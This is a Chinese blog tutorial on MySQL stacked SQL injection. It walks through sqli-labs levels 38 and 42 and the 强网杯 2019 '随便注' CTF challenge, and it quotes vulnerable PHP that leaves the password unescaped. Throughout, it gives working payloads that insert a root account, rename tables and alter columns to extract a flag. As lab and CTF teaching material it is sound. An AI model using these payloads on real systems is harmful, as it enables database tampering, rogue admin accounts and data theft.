mysql堆叠注入条件_白帽子:SQL注入之堆叠注入

本文详细介绍了SQL注入中的堆叠注入原理,通过实例展示了如何利用堆叠注入进行数据库操作,包括创建、修改表和字段,以及在存在字符过滤的情况下绕过防护。文中还提到了在某些情况下,由于对username字段的转义而对password字段的直接POST提交导致的堆叠注入漏洞。最后,文章以实战案例解释了如何通过堆叠注入获取flag,揭示了堆叠注入的灵活性和潜在危害。
摘要由CSDN通过智能技术生成

原标题:白帽子:SQL注入之堆叠注入

在SQL语句中,语句的结束都是以`;`结尾,但是如果我们在`;`后面再加上一条SQL语句,两条语句会一起执行吗?这也就是造成堆叠注入的原因了

最简单的语句`select * from users;DELETE FROM test`

先查询user表,然后再从test数据库里删除user表。

下面我们进行实战

靶场:sql-libs38

先判断闭合点,为'

fd65bc11de408d036fca9f3c99dbb553.png

再构造payload:?id=1' order by 4 %23

2ba74098c67960fecaa84fe94d060d66.png

判断出列数为3列

第38关可以理解为盲注,第二条语句的对错不会给我们回显

好,我们先构造payload:`?id=-1'; insert into users(id,username,password) values(88,'aaa','bbb')%23`

但是呢页面没有回显,我们去数据库看一下

2d98937e5306e2d2e62604aedd79138e.png

最后一行,username:aaa,password:bbb已经成功插入进数据库

如果我们添加的是管理员的账号和密码,那又是什么样的结果。

这一关不明显,我们去试试第42关

sql-libs-42

a61fd5de84909355d26ab91537382b12.png

因为刚刚已经插入进去了aaa,现在直接构造payload登录

①username:`aaa';insert into users(id,username,password) values(60,'root','root')#`password:`bbb`

去查了数据库发现没有添加成功,但是语句没错,考虑对username进行了过滤或者其他防护措施。

②username:`aaa`password:`bbb';insert into users(id,username,password) values(60,'root','root')#`

再试试对password进行堆叠

1318a66dd072468b6a818241afa7147b.png

登陆成功

查看数据库

81274f19d19b208be79a06289e2893d4.png

插入成功了

去看了一下42关的源码

```$username = mysqli_real_escape_string($con1, $_POST["login_user"]);$password = $_POST["login_password"];```对用户名进行了转义,但是password直接以post方式提交了,这就造成了堆叠注入。

再一某一例题

[强网杯 2019]随便注在这里插入图片描述先判断是否有注入点,试一下1'

491aea754474124b0483eda836b1c86a.png

注入点找到了

然后判断出列数

8840c901f31bf73ef53e1700f57416fd.png

222222

再用1' union select 1,database(); #出现了报错

6b46125daac7334211e8e46012f884de.png

select等字符被过滤了,正常注入不能用,报错注入也不行!

看了下大师傅的WP尝试用堆叠注入。

我们先构造payload:1' ;show database; #

查看数据库

3bb946de00dd6d4b927669ff5498f6bd.png

再次构造payload1' ;show tables; #查看有几个表

bd3be2bca39f3d5001339dd4bd8c217b.png

只有两个表从两个表里,我们再查询列构造payload:0'; show columns from words ;#

9e7ec0e5b1e3bad02a6bedf2c874f4e3.png

没有找到我们要的flag

再构造payload:

0';show columns from `1919810931114514`;#先前忘了给字符加单引号,试了n次也没成功!到最后加字符才知道自己的无知太可怕,浪费了很多时间!!!

dbb4b9ec935731a39900ccfd6055327a.png

找到了flag的的列,下一步就是如何让他回显出来

上图,我们知道正则匹配过滤了很多字符,但是没有过滤alert和rename,这就可以来波骚姿势了

①先把words表改为word1

②再利用rename将1919810931114514这个表修改为word

③再将flag字段修改成id

构造payload:0';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

c47c5817ab5946618676423d77de10c7.png

应该成功了

emmmmm,用1';show tables;#

8bef8d90cf23618b777b6951080a5313.png

修改成功了

访问0' or '1'='1

b027aa32e809f91a0e99d3dff8d1405b.png

得到flag

堆叠注入的骚姿势。返回搜狐,查看更多

责任编辑:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值